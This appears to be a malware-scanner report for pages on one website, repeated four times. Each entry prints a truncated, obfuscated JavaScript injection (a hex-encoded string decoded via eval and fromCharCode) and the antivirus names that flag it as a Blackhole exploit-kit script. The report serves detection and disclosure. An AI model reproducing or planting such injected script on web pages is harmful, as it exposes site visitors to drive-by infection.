- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|